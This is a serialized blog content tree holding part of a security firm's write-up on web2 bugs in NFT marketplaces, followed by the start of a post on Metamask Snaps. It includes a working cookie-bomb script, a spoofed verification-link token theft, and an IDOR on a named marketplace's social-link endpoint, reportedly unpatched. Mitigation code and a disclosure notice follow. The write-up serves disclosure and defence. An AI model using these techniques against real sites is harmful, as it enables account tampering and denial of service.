\u003C/svg>\n","jsx",[40067],{"type":24,"tag":80,"props":40068,"children":40069},{"__ignoreMap":7},[40070,40109,40140,40147,40174,40205,40232,40240,40248,40255,40267,40342,40350,40365],{"type":24,"tag":147,"props":40071,"children":40072},{"class":149,"line":150},[40073,40077,40081,40085,40089,40093,40097,40101,40105],{"type":24,"tag":147,"props":40074,"children":40075},{"style":241},[40076],{"type":29,"value":39780},{"type":24,"tag":147,"props":40078,"children":40079},{"style":247},[40080],{"type":29,"value":39785},{"type":24,"tag":147,"props":40082,"children":40083},{"style":247},[40084],{"type":29,"value":39790},{"type":24,"tag":147,"props":40086,"children":40087},{"style":241},[40088],{"type":29,"value":369},{"type":24,"tag":147,"props":40090,"children":40091},{"style":3534},[40092],{"type":29,"value":39799},{"type":24,"tag":147,"props":40094,"children":40095},{"style":247},[40096],{"type":29,"value":39804},{"type":24,"tag":147,"props":40098,"children":40099},{"style":241},[40100],{"type":29,"value":369},{"type":24,"tag":147,"props":40102,"children":40103},{"style":3534},[40104],{"type":29,"value":39813},{"type":24,"tag":147,"props":40106,"children":40107},{"style":241},[40108],{"type":29,"value":39818},{"type":24,"tag":147,"props":40110,"children":40111},{"class":149,"line":160},[40112,40116,40120,40124,40128,40132,40136],{"type":24,"tag":147,"props":40113,"children":40114},{"style":241},[40115],{"type":29,"value":39826},{"type":24,"tag":147,"props":40117,"children":40118},{"style":247},[40119],{"type":29,"value":39831},{"type":24,"tag":147,"props":40121,"children":40122},{"style":247},[40123],{"type":29,"value":39836},{"type":24,"tag":147,"props":40125,"children":40126},{"style":247},[40127],{"type":29,"value":39841},{"type":24,"tag":147,"props":40129,"children":40130},{"style":3534},[40131],{"type":29,"value":39846},{"type":24,"tag":147,"props":40133,"children":40134},{"style":3534},[40135],{"type":29,"value":39851},{"type":24,"tag":147,"props":40137,"children":40138},{"style":241},[40139],{"type":29,"value":11617},{"type":24,"tag":147,"props":40141,"children":40142},{"class":149,"line":169},[40143],{"type":24,"tag":147,"props":40144,"children":40145},{"emptyLinePlaceholder":16},[40146],{"type":29,"value":314},{"type":24,"tag":147,"props":40148,"children":40149},{"class":149,"line":178},[40150,40154,40158,40162,40166,40170],{"type":24,"tag":147,"props":40151,"children":40152},{"style":37976},[40153],{"type":29,"value":14344},{"type":24,"tag":147,"props":40155,"children":40156},{"style":218},[40157],{"type":29,"value":39874},{"type":24,"tag":147,"props":40159,"children":40160},{"style":247},[40161],{"type":29,"value":39879},{"type":24,"tag":147,"props":40163,"children":40164},{"style":241},[40165],{"type":29,"value":369},{"type":24,"tag":147,"props":40167,"children":40168},{"style":3534},[40169],{"type":29,"value":39888},{"type":24,"tag":147,"props":40171,"children":40172},{"style":37976},[40173],{"type":29,"value":11617},{"type":24,"tag":147,"props":40175,"children":40176},{"class":149,"line":187},[40177,40181,40185,40189,40193,40197,40201],{"type":24,"tag":147,"props":40178,"children":40179},{"style":37976},[40180],{"type":29,"value":37995},{"type":24,"tag":147,"props":40182,"children":40183},{"style":218},[40184],{"type":29,"value":39904},{"type":24,"tag":147,"props":40186,"children":40187},{"style":37976},[40188],{"type":29,"value":3453},{"type":24,"tag":147,"props":40190,"children":40191},{"style":235},[40192],{"type":29,"value":36838},{"type":24,"tag":147,"props":40194,"children":40195},{"style":37976},[40196],{"type":29,"value":38030},{"type":24,"tag":147,"props":40198,"children":40199},{"style":218},[40200],{"type":29,"value":39904},{"type":24,"tag":147,"props":40202,"children":40203},{"style":37976},[40204],{"type":29,"value":11617},{"type":24,"tag":147,"props":40206,"children":40207},{"class":149,"line":196},[40208,40212,40216,40220,40224,40228],{"type":24,"tag":147,"props":40209,"children":40210},{"style":37976},[40211],{"type":29,"value":37995},{"type":24,"tag":147,"props":40213,"children":40214},{"style":218},[40215],{"type":29,"value":38016},{"type":24,"tag":147,"props":40217,"children":40218},{"style":247},[40219],{"type":29,"value":38141},{"type":24,"tag":147,"props":40221,"children":40222},{"style":241},[40223],{"type":29,"value":369},{"type":24,"tag":147,"props":40225,"children":40226},{"style":3534},[40227],{"type":29,"value":39948},{"type":24,"tag":147,"props":40229,"children":40230},{"style":37976},[40231],{"type":29,"value":11617},{"type":24,"tag":147,"props":40233,"children":40234},{"class":149,"line":205},[40235],{"type":24,"tag":147,"props":40236,"children":40237},{"style":235},[40238],{"type":29,"value":40239},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":147,"props":40241,"children":40242},{"class":149,"line":214},[40243],{"type":24,"tag":147,"props":40244,"children":40245},{"style":235},[40246],{"type":29,"value":40247},"   var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":147,"props":40249,"children":40250},{"class":149,"line":272},[40251],{"type":24,"tag":147,"props":40252,"children":40253},{"emptyLinePlaceholder":16},[40254],{"type":29,"value":314},{"type":24,"tag":147,"props":40256,"children":40257},{"class":149,"line":281},[40258,40263],{"type":24,"tag":147,"props":40259,"children":40260},{"style":235},[40261],{"type":29,"value":40262},"   for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":147,"props":40264,"children":40265},{"style":218},[40266],{"type":29,"value":278},{"type":24,"tag":147,"props":40268,"children":40269},{"class":149,"line":299},[40270,40275,40279,40284,40288,40293,40298,40302,40306,40311,40315,40320,40324,40329,40333,40338],{"type":24,"tag":147,"props":40271,"children":40272},{"style":247},[40273],{"type":29,"value":40274},"    document",{"type":24,"tag":147,"props":40276,"children":40277},{"style":241},[40278],{"type":29,"value":87},{"type":24,"tag":147,"props":40280,"children":40281},{"style":247},[40282],{"type":29,"value":40283},"cookie",{"type":24,"tag":147,"props":40285,"children":40286},{"style":241},[40287],{"type":29,"value":38512},{"type":24,"tag":147,"props":40289,"children":40290},{"style":3534},[40291],{"type":29,"value":40292},"'Cookie'",{"type":24,"tag":147,"props":40294,"children":40295},{"style":241},[40296],{"type":29,"value":40297}," + ",{"type":24,"tag":147,"props":40299,"children":40300},{"style":247},[40301],{"type":29,"value":9363},{"type":24,"tag":147,"props":40303,"children":40304},{"style":241},[40305],{"type":29,"value":40297},{"type":24,"tag":147,"props":40307,"children":40308},{"style":3534},[40309],{"type":29,"value":40310},"'='",{"type":24,"tag":147,"props":40312,"children":40313},{"style":241},[40314],{"type":29,"value":40297},{"type":24,"tag":147,"props":40316,"children":40317},{"style":247},[40318],{"type":29,"value":40319},"Set_Cookie",{"type":24,"tag":147,"props":40321,"children":40322},{"style":241},[40323],{"type":29,"value":40297},{"type":24,"tag":147,"props":40325,"children":40326},{"style":3534},[40327],{"type":29,"value":40328},"';Domain='",{"type":24,"tag":147,"props":40330,"children":40331},{"style":241},[40332],{"type":29,"value":40297},{"type":24,"tag":147,"props":40334,"children":40335},{"style":247},[40336],{"type":29,"value":40337},"Take_Domain",{"type":24,"tag":147,"props":40339,"children":40340},{"style":241},[40341],{"type":29,"value":432},{"type":24,"tag":147,"props":40343,"children":40344},{"class":149,"line":308},[40345],{"type":24,"tag":147,"props":40346,"children":40347},{"style":218},[40348],{"type":29,"value":40349},"   }\n",{"type":24,"tag":147,"props":40351,"children":40352},{"class":149,"line":317},[40353,40357,40361],{"type":24,"tag":147,"props":40354,"children":40355},{"style":37976},[40356],{"type":29,"value":39968},{"type":24,"tag":147,"props":40358,"children":40359},{"style":218},[40360],{"type":29,"value":38016},{"type":24,"tag":147,"props":40362,"children":40363},{"style":37976},[40364],{"type":29,"value":11617},{"type":24,"tag":147,"props":40366,"children":40367},{"class":149,"line":332},[40368,40372,40376],{"type":24,"tag":147,"props":40369,"children":40370},{"style":37976},[40371],{"type":29,"value":39984},{"type":24,"tag":147,"props":40373,"children":40374},{"style":218},[40375],{"type":29,"value":39874},{"type":24,"tag":147,"props":40377,"children":40378},{"style":37976},[40379],{"type":29,"value":11617},{"type":24,"tag":25,"props":40381,"children":40382},{},[40383],{"type":29,"value":40384},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":32,"props":40386,"children":40388},{"id":40387},"authentication",[40389],{"type":29,"value":40390},"Authentication",{"type":24,"tag":25,"props":40392,"children":40393},{},[40394],{"type":24,"tag":8545,"props":40395,"children":40396},{},[40397,40399,40406],{"type":29,"value":40398},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":2773,"props":40400,"children":40403},{"href":40401,"rel":40402},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[2777],[40404],{"type":29,"value":40405},"great misfortune has occured",{"type":29,"value":87},{"type":24,"tag":43,"props":40408,"children":40410},{"id":40409},"verification-token-leakage",[40411],{"type":29,"value":40412},"Verification Token Leakage",{"type":24,"tag":25,"props":40414,"children":40415},{},[40416],{"type":29,"value":40417},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":40419,"children":40420},{},[40421],{"type":29,"value":40422},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":40424,"children":40425},{},[40426,40431],{"type":24,"tag":8545,"props":40427,"children":40428},{},[40429],{"type":29,"value":40430},"Proof of Concept",{"type":29,"value":40432},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":40434,"children":40435},{},[40436],{"type":29,"value":40437},"Here's the breakdown.",{"type":24,"tag":25,"props":40439,"children":40440},{},[40441],{"type":29,"value":40442},"First, we send the verification link to a user's email:",{"type":24,"tag":36947,"props":40444,"children":40445},{"style":36949},[40446],{"type":24,"tag":63,"props":40447,"children":40451},{"src":40448,"alt":40449,"style":40450},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":40453,"children":40454},{},[40455],{"type":29,"value":40456},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":43,"props":40458,"children":40460},{"id":40459},"idor",[40461],{"type":29,"value":40462},"IDOR",{"type":24,"tag":25,"props":40464,"children":40465},{},[40466],{"type":24,"tag":8545,"props":40467,"children":40468},{},[40469,40471,40478],{"type":29,"value":40470},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":2773,"props":40472,"children":40475},{"href":40473,"rel":40474},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[2777],[40476],{"type":29,"value":40477},"insect",{"type":29,"value":87},{"type":24,"tag":25,"props":40480,"children":40481},{},[40482,40484,40490],{"type":29,"value":40483},"During a security assessment of the ",{"type":24,"tag":2773,"props":40485,"children":40488},{"href":40486,"rel":40487},"https://rocki.com",[2777],[40489],{"type":29,"value":36885},{"type":29,"value":40491},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":40493,"children":40494},{},[40495],{"type":29,"value":40496},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":40498,"children":40499},{},[40500],{"type":29,"value":40501},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":40503,"children":40504},{},[40505,40507,40513,40515,40520],{"type":29,"value":40506},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":80,"props":40508,"children":40510},{"className":40509},[],[40511],{"type":29,"value":40512},"https://evil.com/",{"type":29,"value":40514},". To achieve this, we simply changed the ",{"type":24,"tag":80,"props":40516,"children":40518},{"className":40517},[],[40519],{"type":29,"value":9111},{"type":29,"value":40521}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":40523,"children":40524},{},[40525],{"type":24,"tag":63,"props":40526,"children":40528},{"alt":7,"src":40527},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":40530,"children":40531},{},[40532],{"type":29,"value":40533},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":40535,"children":40536},{},[40537],{"type":24,"tag":63,"props":40538,"children":40540},{"alt":7,"src":40539},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":32,"props":40542,"children":40544},{"id":40543},"preventative-action-steps-for-marketplaces",[40545],{"type":24,"tag":10949,"props":40546,"children":40547},{},[40548],{"type":29,"value":40549},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":40551,"children":40552},{},[40553],{"type":29,"value":40554},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":40556,"children":40557},{},[40558,40560,40566,40568,40574],{"type":29,"value":40559},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":80,"props":40561,"children":40563},{"className":40562},[],[40564],{"type":29,"value":40565},"innerText",{"type":29,"value":40567}," instead of ",{"type":24,"tag":80,"props":40569,"children":40571},{"className":40570},[],[40572],{"type":29,"value":40573},"innerHTML",{"type":29,"value":40575}," in client-side:",{"type":24,"tag":137,"props":40577,"children":40579},{"className":36964,"code":40578,"language":36966,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[40580],{"type":24,"tag":80,"props":40581,"children":40582},{"__ignoreMap":7},[40583],{"type":24,"tag":147,"props":40584,"children":40585},{"class":149,"line":150},[40586,40590,40594,40599,40603,40608,40612,40616,40620,40625],{"type":24,"tag":147,"props":40587,"children":40588},{"style":247},[40589],{"type":29,"value":38308},{"type":24,"tag":147,"props":40591,"children":40592},{"style":235},[40593],{"type":29,"value":87},{"type":24,"tag":147,"props":40595,"children":40596},{"style":229},[40597],{"type":29,"value":40598},"getElementById",{"type":24,"tag":147,"props":40600,"children":40601},{"style":235},[40602],{"type":29,"value":480},{"type":24,"tag":147,"props":40604,"children":40605},{"style":3534},[40606],{"type":29,"value":40607},"'nftCollectionName'",{"type":24,"tag":147,"props":40609,"children":40610},{"style":235},[40611],{"type":29,"value":5745},{"type":24,"tag":147,"props":40613,"children":40614},{"style":247},[40615],{"type":29,"value":40565},{"type":24,"tag":147,"props":40617,"children":40618},{"style":241},[40619],{"type":29,"value":651},{"type":24,"tag":147,"props":40621,"children":40622},{"style":247},[40623],{"type":29,"value":40624}," nftCollectionName",{"type":24,"tag":147,"props":40626,"children":40627},{"style":235},[40628],{"type":29,"value":432},{"type":24,"tag":25,"props":40630,"children":40631},{},[40632],{"type":29,"value":40633},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":137,"props":40635,"children":40637},{"className":36964,"code":40636,"language":36966,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[40638],{"type":24,"tag":80,"props":40639,"children":40640},{"__ignoreMap":7},[40641],{"type":24,"tag":147,"props":40642,"children":40643},{"class":149,"line":150},[40644,40649,40654,40658,40663,40667,40672,40676,40681],{"type":24,"tag":147,"props":40645,"children":40646},{"style":218},[40647],{"type":29,"value":40648},"var",{"type":24,"tag":147,"props":40650,"children":40651},{"style":247},[40652],{"type":29,"value":40653}," sanitizedInput",{"type":24,"tag":147,"props":40655,"children":40656},{"style":241},[40657],{"type":29,"value":651},{"type":24,"tag":147,"props":40659,"children":40660},{"style":247},[40661],{"type":29,"value":40662}," DOMPurify",{"type":24,"tag":147,"props":40664,"children":40665},{"style":235},[40666],{"type":29,"value":87},{"type":24,"tag":147,"props":40668,"children":40669},{"style":229},[40670],{"type":29,"value":40671},"sanitize",{"type":24,"tag":147,"props":40673,"children":40674},{"style":235},[40675],{"type":29,"value":480},{"type":24,"tag":147,"props":40677,"children":40678},{"style":247},[40679],{"type":29,"value":40680},"userInput",{"type":24,"tag":147,"props":40682,"children":40683},{"style":235},[40684],{"type":29,"value":1473},{"type":24,"tag":25,"props":40686,"children":40687},{},[40688,40690,40697],{"type":29,"value":40689},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":2773,"props":40691,"children":40694},{"href":40692,"rel":40693},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[2777],[40695],{"type":29,"value":40696},"Content-Security-Policy",{"type":29,"value":40698}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":40700,"children":40701},{},[40702],{"type":29,"value":40703},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":40705,"children":40706},{},[40707,40709,40716],{"type":29,"value":40708},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":2773,"props":40710,"children":40713},{"href":40711,"rel":40712},"https://www.techtarget.com/whatis/definition/whitelist",[2777],[40714],{"type":29,"value":40715},"allow-list",{"type":29,"value":40717}," :",{"type":24,"tag":137,"props":40719,"children":40721},{"className":36964,"code":40720,"language":36966,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[40722],{"type":24,"tag":80,"props":40723,"children":40724},{"__ignoreMap":7},[40725,40754,40795,40825],{"type":24,"tag":147,"props":40726,"children":40727},{"class":149,"line":150},[40728,40732,40737,40741,40745,40750],{"type":24,"tag":147,"props":40729,"children":40730},{"style":218},[40731],{"type":29,"value":15276},{"type":24,"tag":147,"props":40733,"children":40734},{"style":247},[40735],{"type":29,"value":40736}," allowDomains",{"type":24,"tag":147,"props":40738,"children":40739},{"style":241},[40740],{"type":29,"value":651},{"type":24,"tag":147,"props":40742,"children":40743},{"style":235},[40744],{"type":29,"value":28634},{"type":24,"tag":147,"props":40746,"children":40747},{"style":3534},[40748],{"type":29,"value":40749},"'https://allowed-domain'",{"type":24,"tag":147,"props":40751,"children":40752},{"style":235},[40753],{"type":29,"value":37174},{"type":24,"tag":147,"props":40755,"children":40756},{"class":149,"line":160},[40757,40761,40765,40769,40774,40778,40783,40787,40791],{"type":24,"tag":147,"props":40758,"children":40759},{"style":321},[40760],{"type":29,"value":21191},{"type":24,"tag":147,"props":40762,"children":40763},{"style":235},[40764],{"type":29,"value":408},{"type":24,"tag":147,"props":40766,"children":40767},{"style":241},[40768],{"type":29,"value":413},{"type":24,"tag":147,"props":40770,"children":40771},{"style":247},[40772],{"type":29,"value":40773},"allowDomains",{"type":24,"tag":147,"props":40775,"children":40776},{"style":235},[40777],{"type":29,"value":87},{"type":24,"tag":147,"props":40779,"children":40780},{"style":229},[40781],{"type":29,"value":40782},"includes",{"type":24,"tag":147,"props":40784,"children":40785},{"style":235},[40786],{"type":29,"value":480},{"type":24,"tag":147,"props":40788,"children":40789},{"style":247},[40790],{"type":29,"value":38318},{"type":24,"tag":147,"props":40792,"children":40793},{"style":235},[40794],{"type":29,"value":1432},{"type":24,"tag":147,"props":40796,"children":40797},{"class":149,"line":169},[40798,40803,40807,40812,40816,40821],{"type":24,"tag":147,"props":40799,"children":40800},{"style":321},[40801],{"type":29,"value":40802},"  throw",{"type":24,"tag":147,"props":40804,"children":40805},{"style":218},[40806],{"type":29,"value":37533},{"type":24,"tag":147,"props":40808,"children":40809},{"style":229},[40810],{"type":29,"value":40811}," ApolloError",{"type":24,"tag":147,"props":40813,"children":40814},{"style":235},[40815],{"type":29,"value":480},{"type":24,"tag":147,"props":40817,"children":40818},{"style":3534},[40819],{"type":29,"value":40820},"'invalid domain'",{"type":24,"tag":147,"props":40822,"children":40823},{"style":235},[40824],{"type":29,"value":1473},{"type":24,"tag":147,"props":40826,"children":40827},{"class":149,"line":178},[40828],{"type":24,"tag":147,"props":40829,"children":40830},{"style":235},[40831],{"type":29,"value":827},{"type":24,"tag":25,"props":40833,"children":40834},{},[40835,40837,40844,40846,40853],{"type":29,"value":40836},"As ",{"type":24,"tag":2773,"props":40838,"children":40841},{"href":40839,"rel":40840},"https://graphql.org/",[2777],[40842],{"type":29,"value":40843},"GraphQl",{"type":29,"value":40845}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":2773,"props":40847,"children":40850},{"href":40848,"rel":40849},"https://graphql.org/learn/introspection/",[2777],[40851],{"type":29,"value":40852},"introspection",{"type":29,"value":40854}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":137,"props":40856,"children":40858},{"className":36964,"code":40857,"language":36966,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[40859],{"type":24,"tag":80,"props":40860,"children":40861},{"__ignoreMap":7},[40862,40891,40903,40915,40931],{"type":24,"tag":147,"props":40863,"children":40864},{"class":149,"line":150},[40865,40869,40874,40878,40882,40887],{"type":24,"tag":147,"props":40866,"children":40867},{"style":218},[40868],{"type":29,"value":15276},{"type":24,"tag":147,"props":40870,"children":40871},{"style":247},[40872],{"type":29,"value":40873}," server",{"type":24,"tag":147,"props":40875,"children":40876},{"style":241},[40877],{"type":29,"value":651},{"type":24,"tag":147,"props":40879,"children":40880},{"style":218},[40881],{"type":29,"value":37533},{"type":24,"tag":147,"props":40883,"children":40884},{"style":229},[40885],{"type":29,"value":40886}," ApolloServer",{"type":24,"tag":147,"props":40888,"children":40889},{"style":235},[40890],{"type":29,"value":20752},{"type":24,"tag":147,"props":40892,"children":40893},{"class":149,"line":160},[40894,40899],{"type":24,"tag":147,"props":40895,"children":40896},{"style":247},[40897],{"type":29,"value":40898},"  typeDefs",{"type":24,"tag":147,"props":40900,"children":40901},{"style":235},[40902],{"type":29,"value":1549},{"type":24,"tag":147,"props":40904,"children":40905},{"class":149,"line":169},[40906,40911],{"type":24,"tag":147,"props":40907,"children":40908},{"style":247},[40909],{"type":29,"value":40910},"  resolvers",{"type":24,"tag":147,"props":40912,"children":40913},{"style":235},[40914],{"type":29,"value":1549},{"type":24,"tag":147,"props":40916,"children":40917},{"class":149,"line":178},[40918,40923,40927],{"type":24,"tag":147,"props":40919,"children":40920},{"style":247},[40921],{"type":29,"value":40922},"  introspection:",{"type":24,"tag":147,"props":40924,"children":40925},{"style":218},[40926],{"type":29,"value":14682},{"type":24,"tag":147,"props":40928,"children":40929},{"style":235},[40930],{"type":29,"value":1549},{"type":24,"tag":147,"props":40932,"children":40933},{"class":149,"line":187},[40934],{"type":24,"tag":147,"props":40935,"children":40936},{"style":235},[40937],{"type":29,"value":40938},"});\n",{"type":24,"tag":25,"props":40940,"children":40941},{},[40942,40944,40951,40953,40960],{"type":29,"value":40943},"Similarly, when ",{"type":24,"tag":2773,"props":40945,"children":40948},{"href":40946,"rel":40947},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[2777],[40949],{"type":29,"value":40950},"batching",{"type":29,"value":40952}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":2773,"props":40954,"children":40957},{"href":40955,"rel":40956},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[2777],[40958],{"type":29,"value":40959},"denial-of-service",{"type":29,"value":40961}," (DoS) attacks.",{"type":24,"tag":25,"props":40963,"children":40964},{},[40965],{"type":29,"value":40966},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":40968,"children":40969},{},[40970],{"type":29,"value":40971},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":40973,"props":40974,"children":40975},"h1",{"id":8458},[40976],{"type":29,"value":8461},{"type":24,"tag":25,"props":40978,"children":40979},{},[40980],{"type":29,"value":40981},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":40983,"children":40984},{},[40985],{"type":29,"value":40986},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":32,"props":40988,"children":40990},{"id":40989},"disclaimer",[40991],{"type":29,"value":40992},"Disclaimer",{"type":24,"tag":25,"props":40994,"children":40995},{},[40996],{"type":29,"value":40997},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":8473,"props":40999,"children":41000},{},[41001],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":41003},[41004,41007,41013,41017,41018],{"id":34617,"depth":160,"text":34620,"children":41005},[41006],{"id":8552,"depth":169,"text":8555},{"id":36808,"depth":160,"text":36838,"children":41008},[41009,41010,41011,41012],{"id":36857,"depth":169,"text":36860},{"id":36922,"depth":169,"text":36925},{"id":39752,"depth":169,"text":39755},{"id":40042,"depth":169,"text":40045},{"id":40387,"depth":160,"text":40390,"children":41014},[41015,41016],{"id":40409,"depth":169,"text":40412},{"id":40459,"depth":169,"text":40462},{"id":40543,"depth":160,"text":40549},{"id":40989,"depth":160,"text":40992},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":41023,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":41024,"description":41025,"author":41026,"image":41027,"date":41029,"isFeatured":16,"onBlogPage":16,"body":41030,"_type":8496,"_id":46040,"_source":8498,"_file":46041,"_stem":46042,"_extension":8501},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[36802,36801],{"src":41028,"height":19240,"width":15},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":41031,"toc":46021},[41032,41036,41041,41046,41051,41057,41062,41068,41081,41086,41091,41098,41130,41136,41141,41159,41166,41172,41186,41192,41212,41476,41504,41510,41529,41914,41933,41946,42264,42285,42556,42561,42567,42572,42584,42589,42602,42861,42905,42918,42924,42938,42944,42949,42962,42999,43005,43025,43136,43162,43168,43186,43199,43205,43210,43228,43339,43344,43365,43378,43395,43495,43521,43538,43660,43686,43698,43703,43709,43715,43720,43743,43748,43753,43759,43765,43792,44195,44222,44249,44255,44286,44595,44614,44619,44644,44657,44663,44690,44983,45019,45037,45042,45077,45082,45086,45091,45098,45103,45130,45907,45927,45933,45954,46003,46007,46012,46017],{"type":24,"tag":32,"props":41033,"children":41034},{"id":24562},[41035],{"type":29,"value":24565},{"type":24,"tag":25,"props":41037,"children":41038},{},[41039],{"type":29,"value":41040},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":41042,"children":41043},{},[41044],{"type":29,"value":41045},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":41047,"children":41048},{},[41049],{"type":29,"value":41050},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":32,"props":41052,"children":41054},{"id":41053},"sandbox-security",[41055],{"type":29,"value":41056},"Sandbox Security",{"type":24,"tag":25,"props":41058,"children":41059},{},[41060],{"type":29,"value":41061},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":43,"props":41063,"children":41065},{"id":41064},"permission-based-security",[41066],{"type":29,"value":41067},"Permission-based security",{"type":24,"tag":25,"props":41069,"children":41070},{},[41071,41073,41079],{"type":29,"value":41072},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":80,"props":41074,"children":41076},{"className":41075},[],[41077],{"type":29,"value":41078},"snap.manifest.json",{"type":29,"value":41080}," file and can be critical to security.",{"type":24,"tag":25,"props":41082,"children":41083},{},[41084],{"type":29,"value":41085},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":41087,"children":41088},{},[41089],{"type":29,"value":41090},"Here are the critical permissions possible to be given to a 